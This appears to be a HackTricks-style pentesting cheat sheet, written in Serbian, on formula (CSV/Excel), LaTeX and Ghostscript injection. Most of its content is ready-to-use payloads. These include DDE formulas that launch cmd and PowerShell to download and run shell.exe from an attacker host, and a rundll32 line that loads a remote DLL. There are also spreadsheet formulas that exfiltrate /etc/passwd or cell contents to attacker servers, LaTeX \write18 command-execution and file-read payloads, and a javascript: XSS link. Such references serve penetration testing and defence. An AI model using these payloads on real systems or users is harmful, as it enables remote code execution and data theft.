# Formula/CSV/Doc/LaTeX/GhostScript Injection {{#include ../banners/hacktricks-training.md}} ## Formula Injection ### Info Ako je vaš **ulaz** **reflektovan** unutar **CSV datoteka** (ili bilo koje druge datoteke koja će verovatno biti otvorena u **Excelu**), možda ćete moći da stavite **formule** koje će biti **izvršene** kada korisnik **otvori datoteku** ili kada korisnik **klikne na neki link** unutar Excel tabele. > [!CAUTION] > Danas **Excel će upozoriti** (više puta) **korisnika kada se nešto učita izvan Excela** kako bi ga sprečio od malicioznih radnji. Stoga, poseban napor u socijalnom inženjeringu mora biti primenjen na konačni payload. ### [Wordlist](https://github.com/payloadbox/csv-injection-payloads) ``` DDE ("cmd";"/C calc";"!A0")A0 @SUM(1+9)*cmd|' /C calc'!A0 =10+20+cmd|' /C calc'!A0 =cmd|' /C notepad'!'A1' =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 =cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1 ``` ### Hyperlink **Sledeći primer je veoma koristan za ekfiltraciju sadržaja iz konačnog excel lista i za slanje zahteva na proizvoljne lokacije. Ali zahteva da korisnik klikne na link (i prihvati upozorenja).** Sledeći primer je preuzet sa [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) Zamislite da je bezbednosna povreda u sistemu za upravljanje studentskim podacima iskorišćena putem CSV injekcije. Primarna namera napadača je da kompromituje sistem koji koriste nastavnici za upravljanje podacima o studentima. Metoda uključuje napadača koji ubacuje zloćudni payload u aplikaciju, posebno tako što unosi štetne formule u polja namenjena za podatke o studentima. Napad se odvija na sledeći način: 1. **Injekcija zloćudnog payload-a:** - Napadač šalje obrazac za podatke o studentu, ali uključuje formulu koja se obično koristi u tabelama (npr., `=HYPERLINK("","Click here")`). - Ova formula je dizajnirana da kreira hyperlink, ali upućuje na zloćudni server koji kontroliše napadač. 2. **Izvoz kompromitovanih podataka:** - Nastavnici, nesvesni kompromitacije, koriste funkcionalnost aplikacije da izvezu podatke u CSV datoteku. - CSV datoteka, kada se otvori, i dalje sadrži zloćudni payload. Ovaj payload se pojavljuje kao klikabilni hyperlink u tabeli. 3. **Pokretanje napada:** - Nastavnik klikne na hyperlink, verujući da je to legitimni deo podataka o studentu. - Nakon klika, osetljivi podaci (potencijalno uključujući detalje iz tabele ili računara nastavnika) se šalju na server napadača. 4. **Zapisivanje podataka:** - Server napadača prima i beleži osetljive podatke poslati sa računara nastavnika. - Napadač može zatim koristiti ove podatke za razne zloćudne svrhe, dodatno kompromitujući privatnost i bezbednost studenata i institucije. ### RCE **Proverite** [**originalni post**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **za dodatne detalje.** U specifičnim konfiguracijama ili starijim verzijama Excela, funkcija pod nazivom Dynamic Data Exchange (DDE) može biti iskorišćena za izvršavanje proizvoljnih komandi. Da bi se to iskoristilo, sledeće postavke moraju biti omogućene: - Idite na File → Options → Trust Center → Trust Center Settings → External Content, i omogućite **Dynamic Data Exchange Server Launch**. Kada se otvori tabela sa zloćudnim payload-om (i ako korisnik prihvati upozorenja), payload se izvršava. Na primer, da pokrene aplikaciju kalkulator, payload bi bio: ```markdown =cmd|' /C calc'!xxx ``` Dodatne komande se takođe mogu izvršiti, kao što je preuzimanje i izvršavanje datoteke koristeći PowerShell: ```bash =cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1 ``` ### Local File Inclusion (LFI) u LibreOffice Calc LibreOffice Calc se može koristiti za čitanje lokalnih fajlova i eksfiltraciju podataka. Evo nekoliko metoda: - Čitanje prve linije iz lokalnog `/etc/passwd` fajla: `='file:///etc/passwd'#$passwd.A1` - Eksfiltracija pročitanih podataka na server pod kontrolom napadača: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))` - Eksfiltracija više od jedne linije: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))` - DNS eksfiltracija (slanje pročitanih podataka kao DNS upita na DNS server pod kontrolom napadača): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))` ### Google Sheets za Out-of-Band (OOB) eksfiltraciju podataka Google Sheets nudi funkcije koje se mogu iskoristiti za OOB eksfiltraciju podataka: - **CONCATENATE**: Spaja stringove - `=CONCATENATE(A2:E2)` - **IMPORTXML**: Uvozi podatke iz strukturiranih tipova podataka - `=IMPORTXML(CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")` - **IMPORTFEED**: Uvozi RSS ili ATOM feedove - `=IMPORTFEED(CONCAT("http:////123.txt?v=", CONCATENATE(A2:E2)))` - **IMPORTHTML**: Uvozi podatke iz HTML tabela ili listi - `=IMPORTHTML (CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)),"table",1)` - **IMPORTRANGE**: Uvozi opseg ćelija iz druge tabele - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")` - **IMAGE**: Umeće sliku u ćeliju - `=IMAGE("https:///images/srpr/logo3w.png")` ## LaTeX Injection Obično serveri koji se nalaze na internetu i **konvertuju LaTeX kod u PDF** koriste **`pdflatex`**.\ Ovaj program koristi 3 glavna atributa za (ne)dozvoljavanje izvršavanja komandi: - **`--no-shell-escape`**: **Onemogućava** konstrukciju `\write18{command}`, čak i ako je omogućena u texmf.cnf fajlu. - **`--shell-restricted`**: Isto kao `--shell-escape`, ali **ograničeno** na 'siguran' skup **predefinisanih** **komandi** (**Na Ubuntu 16.04 lista se nalazi u `/usr/share/texmf/web2c/texmf.cnf`). - **`--shell-escape`**: **Omogućava** konstrukciju `\write18{command}`. Komanda može biti bilo koja shell komanda. Ova konstrukcija je obično onemogućena iz bezbednosnih razloga. Međutim, postoje i drugi načini za izvršavanje komandi, pa je veoma važno koristiti `--shell-restricted` kako bi se izbegao RCE. ### Čitaj fajl Možda ćete morati da prilagodite injekciju sa omotačima kao što su \[ ili $. ```bash \input{/etc/passwd} \include{password} # load .tex file \lstinputlisting{/usr/share/texmf/web2c/texmf.cnf} \usepackage{verbatim} \verbatiminput{/etc/passwd} ``` #### Čitajte datoteku sa jednim redom ```bash \newread\file \openin\file=/etc/issue \read\file to\line \text{\line} \closein\file ``` #### Čitanje datoteke sa više redova ```bash \newread\file \openin\file=/etc/passwd \loop\unless\ifeof\file \read\file to\fileline \text{\fileline} \repeat \closein\file ``` ### Napiši datoteku ```bash \newwrite\outfile \openout\outfile=cmd.tex \write\outfile{Hello-world} \closeout\outfile ``` ### Izvršenje komande Ulaz komande će biti preusmeren na stdin, koristite privremenu datoteku da biste ga dobili. ```bash \immediate\write18{env > output} \input{output} \input{|"/bin/hostname"} \input{|"extractbb /etc/passwd > /tmp/b.tex"} # allowed mpost command RCE \documentclass{article}\begin{document} \immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"} \end{document} # If mpost is not allowed there are other commands you might be able to execute ## Just get the version \input{|"bibtex8 --version > /tmp/b.tex"} ## Search the file pdfetex.ini \input{|"kpsewhich pdfetex.ini > /tmp/b.tex"} ## Get env var value \input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"} ## Get the value of shell_escape_commands without needing to read pdfetex.ini \input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"} ``` Ако добијете било какву LaTex грешку, размислите о коришћењу base64 да добијете резултат без лоших карактера. ```bash \immediate\write18{env | base64 > test.tex} \input{text.tex} ``` ```bash \input|ls|base4 \input{|"/bin/hostname"} ``` ### Cross Site Scripting Od [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) ```bash \url{javascript:alert(1)} \href{javascript:alert(1)}{placeholder} ``` ## Ghostscript Injection **Proveri** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/) ## Reference - [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1) - [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/) - [https://salmonsec.com/cheatsheet/latex_injection](https://salmonsec.com/cheatsheet/latex_injection) - [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/) {{#include ../banners/hacktricks-training.md}}